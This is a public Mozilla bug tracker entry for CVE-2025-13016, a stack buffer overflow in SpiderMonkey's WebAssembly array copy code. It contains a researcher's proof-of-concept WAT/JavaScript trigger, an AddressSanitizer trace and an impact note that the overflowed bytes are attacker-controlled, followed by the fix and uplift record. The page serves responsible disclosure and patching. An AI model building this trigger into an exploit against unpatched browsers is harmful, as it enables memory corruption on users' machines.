Closed Bug 1992130 (CVE-2025-13016) Opened 10 months ago Closed 9 months ago

Stack buffer overflow in StableWasmArrayObjectElements inline array copy

Categories

(Core :: JavaScript: WebAssembly, defect, P1)

defect

Tracking

()

VERIFIED FIXED
146 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 145+ fixed
firefox143 --- wontfix
firefox144 --- wontfix
firefox145 + fixed
firefox146 --- verified

People

(Reporter: disclosure, Assigned: yury)

References

(Regression)

Details

(4 keywords, Whiteboard: [client-bounty-form][bugmon:bisected,confirmed][adv-main145+][adv-ESR140.5+])

Attachments

(7 files)

Attached file poc-wrong-data-24.js

Hello team,
there is a possible memory corruption in js/src/wasm/WasmGcObject.h line 532 that allows WebAssembly content to trigger stack buffer overflows.

Vulnerability Details
Location: StableWasmArrayObjectElements<T> constructor (WasmGcObject.h:523-539)

The bug occurs when copying inline wasm array data. The std::copy call uses uint8_t* pointers for the source range but computes the endpoint in bytes while iterating as T*:

// WasmGcObject.h:532-534
std::copy(array->inlineStorage(), // uint8_t* source
          array->inlineStorage() + array->numElements_ * sizeof(T),  // byte arithmetic
          ownElements_->begin());   // T* destination

This causes two bugs:

  1. Buffer overflow: std::copy treats both pointers as T*, writing numElements_ * sizeof(T) elements instead of numElements_ elements—overflowing by a factor of sizeof(T).
    Demonstrated by poc-crash-asan.js.
let wat = `(module
  (type $arr (array (mut i16)))
  (func $fromCharCodeArray
    (import "wasm:js-string" "fromCharCodeArray")
    (param (ref null $arr) i32 i32)
    (result (ref extern)))
  (func (export "test") (result externref)
    ;; 50 elements → bug writes 100 uint16_t (exceeds ~49-capacity Vector)
    (call $fromCharCodeArray
      (array.new $arr (i32.const 0x41) (i32.const 50))
      (i32.const 0)
      (i32.const 50)))
)`;

let bytes = wasmTextToBinary(wat);
let mod = new WebAssembly.Module(bytes, {builtins: ['js-string']});
let inst = new WebAssembly.Instance(mod, {}).exports;

// Force NoGC string allocation to fail → triggers fallback with buggy copy
oomTest(
    () => {
        inst.test() 
    },
);

From ASAN:

=================================================================
==824196==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcde4e1e5f at pc 0x5626ec6e9661 bp 0x7ffcde4e1c60 sp 0x7ffcde4e1c58
WRITE of size 16 at 0x7ffcde4e1e5f thread T0
    #0 0x5626ec6e9660 in unsigned short* std::__copy_move<false, false, std::random_access_iterator_tag>::__copy_m<unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) 
.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:380:18
    #1 0x5626ec6e9660 in unsigned short* std::__copy_move_a2<false, unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/
x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:471:14
    #2 0x5626ec6e9660 in unsigned short* std::__copy_move_a1<false, unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/
x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:506:14
    #3 0x5626ec6e9660 in unsigned short* std::__copy_move_a<false, unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x
86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:514:3
    #4 0x5626ec6e9660 in unsigned short* std::copy<unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/
10/../../../../include/c++/10/bits/stl_algobase.h:568:14
    #5 0x5626ec6e9660 in js::StableWasmArrayObjectElements<unsigned short>::StableWasmArrayObjectElements(JSContext*, JS::Handle<js::WasmArrayObject*>) /firefox/js/src/wasm/WasmG
cObject.h:532:7   
    #6 0x5626ec5ca5c2 in js::wasm::Instance::stringFromCharCodeArray(js::wasm::Instance*, void*, unsigned int, unsigned int) /firefox/js/src/wasm/WasmInstance.cpp:2051:45       
    #7 0x7f2aee880d62  (<unknown module>)
Address 0x7ffcde4e1e5f is located in stack of thread T0 at offset 351 in frame
    #0 0x5626ec5ca1ef in js::wasm::Instance::stringFromCharCodeArray(js::wasm::Instance*, void*, unsigned int, unsigned int) /firefox/js/src/wasm/WasmInstance.cpp:2026

  This frame has 3 object(s):
    [32, 64) 'arrayRef' (line 2030)
    [96, 120) 'array' (line 2035)
    [160, 344) 'stableElements' (line 2051) <== Memory access at offset 351 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /firefox/js/src/wasm/WasmGcObject.h:532:7 in js::StableWasmArrayObjectElements<unsigned short>::StableWasmArrayObjectElements(JSC
ontext*, JS::Handle<js::WasmArrayObject*>) 
  1. Wrong data source: inlineStorage() points to the DataHeader, not the actual array elements at addressOfInlineData().
// If used, the inline storage area will begin with the data header, followed
// by the actual array data.

Demonstrated by poc-wrong-data.js

The bug is reachable via Instance::stringFromCharCodeArray (WasmInstance.cpp:2051) whenever the initial NoGC allocation fails, which occurs during GC pressure or can be forced via oomTest().

Impact (attacker control)

  • The overflow writes ~102 bytes past a Vector<uint16_t> inline buffer. After the first 8 zero bytes (DataHeader), all subsequent bytes are attacker-controlled wasm array data. This enables corruption of adjacent stack data.

Reference to Existing Test
Bug 1956768 added a regression test (js/src/jit-test/tests/wasm/regress/bug1956768.js) that exercises this exact code path with oomTest(). However, the test doesn't detect the vulnerability because:

  • oomTest() verifies output only on successful runs (often the fast path)
  • Without ASan, the overflow into the Vector's inline capacity is silent
  • The test only checks 4 chars, missing corruption beyond that range

Affected Versions
Introduced in Bug 1956768. All builds with Wasm GC+stringref enabled are vulnerable.

Testing environment
OS: Linux x64
Version: JavaScript-C145.0a1

Best regards,
Igor Morgenstern,
Aisle Research

Flags: sec-bounty?
Attached file poc-crash-asan.js
Group: firefox-core-security → core-security
Component: Security → JavaScript: WebAssembly
Product: Firefox → Core
Group: core-security → javascript-core-security
See Also: → 1445260

Preliminarily setting flags based off the report description. It looks correct to me, but I'm pointing Yury at this one.

Assignee: nobody → ydelendik
Severity: -- → S2
Keywords: regression
Priority: -- → P1
Regressed by: 1956768

I'm guessing this is the root cause of bug 1989992.

See Also: → 1989992
Attached file (secure)
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: sec-high
Status: NEW → ASSIGNED

Comment on attachment 9517859 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: I'm guessing somewhat easily. The only change is around std::copy and it probably isn't hard to figure out we're overflowing the stack based vector in certain circumstances, which probably could lead to overwriting the native frame. The hardest part is that this only happens when a GC happens precisely during this instruction. I don't know how easy it is to reliably trigger a GC here. It might be as easy as just running the operation in a tight loop until nursery space is exhausted?
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: Beta, release, ESR 140. Status flags are correct from regressing bug.
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?:
  • How likely is this patch to cause regressions; how much testing does it need?: Unlikely, this code is not run frequently in practice, and we have tests for it.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9517859 - Flags: sec-approval?

It's possible we could try to obfuscate this patch or merge it with some other work. There wasn't an obvious way to do it right away, but we could try harder if that would be useful.

This work could pretty easily be merged with one of the patches in bug 1992888 for obfuscation purposes.

To expand on my last comment: patch D267984 from bug 1992888 is a refactor of various array things that could easily be expanded to include the work Yury has done for this bug. It was done to improve performance, which turned out to be a wash, but it touches a lot of array code in non-trivial ways and could provide good cover for this issue if desired.

We plan to land that patch for refactoring reasons regardless. The current version of the patch does NOT fix this bug.

Set release status flags based on info from the regressing bug 1956768

Comment on attachment 9517859 [details]
(secure)

Approved to land and request uplift

Attachment #9517859 - Flags: sec-approval? → sec-approval+
Keywords: bugmon

Verified bug as reproducible on mozilla-central 20251014213342-69063d81c4e1.
Unable to bisect testcase (Testcase reproduces on start build!):

Start: 2824c2cd78b0f41206d46f43c94119f295283318 (20250718092930)
End: df41db50de28e4018e35b63498b0e101fc4837bc (20251002092724)
BuildFlags: BuildFlags(asan=False, tsan=False, debug=True, fuzzing=True, coverage=False, valgrind=False, no_opt=False, fuzzilli=False, nyx=False, searchfox=False, afl=False)

Whiteboard: [client-bounty-form] → [client-bounty-form][bugmon:bisected,confirmed]
Group: javascript-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 9 months ago
Resolution: --- → FIXED
Target Milestone: --- → 146 Branch

The patch landed in nightly and beta is affected.
:yury, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(ydelendik)

firefox-beta Uplift Approval Request

  • User impact if declined: Some Wasm code can cause stack data corruption.
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: This code is not run frequently in practice.
  • String changes made/needed: n/a
  • Is Android affected?: yes
Attachment #9520479 - Flags: approval-mozilla-beta?
Attached file (secure)

firefox-esr140 Uplift Approval Request

  • User impact if declined: Some wasm code can cause stack corruption
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: this code is not run frequently in practice
  • String changes made/needed: n/a
  • Is Android affected?: yes
Attachment #9520480 - Flags: approval-mozilla-esr140?
Attached file (secure)

Verified bug as fixed on rev mozilla-central 20251016041331-f762218826f8.
Removing bugmon keyword as no further action possible. Please review the bug and re-add the keyword for further analysis.

Status: RESOLVED → VERIFIED
Keywords: bugmon
Attachment #9520480 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+

Yuri, your patch does not apply cleanly to the esr140 branch, could you rebase/adapt your patch please? Thanks

(In reply to Pascal Chevrel:pascalc from comment #21)

Yuri, your patch does not apply cleanly to the esr140 branch, could you rebase/adapt your patch please? Thanks

Revision https://phabricator.services.mozilla.com/D268882 is updated.

Flags: needinfo?(ydelendik)
Attachment #9520479 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Flags: sec-bounty? → sec-bounty+
QA Whiteboard: [sec] [qa-triage-done-c146/b145]
QA Whiteboard: [sec] [qa-triage-done-c146/b145] → [sec] [qa-triage-done-c146/b145][adv-main145+r][adv-ESR140.5+r]
QA Whiteboard: [sec] [qa-triage-done-c146/b145][adv-main145+r][adv-ESR140.5+r] → [sec] [uplift] [qa-triage-done-c146/b145]
Whiteboard: [client-bounty-form][bugmon:bisected,confirmed] → [client-bounty-form][bugmon:bisected,confirmed][adv-main145+][adv-ESR140.5+]
Attached file advisory.txt
Alias: CVE-2025-13016
Duplicate of this bug: 1989992
Duplicate of this bug: 2021165
Group: core-security-release
Attachment #9517890 - Attachment description: (secure) → Bug 1992130 - Test StableWasmArrayObjectElements inline array copy. r?rhunt
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: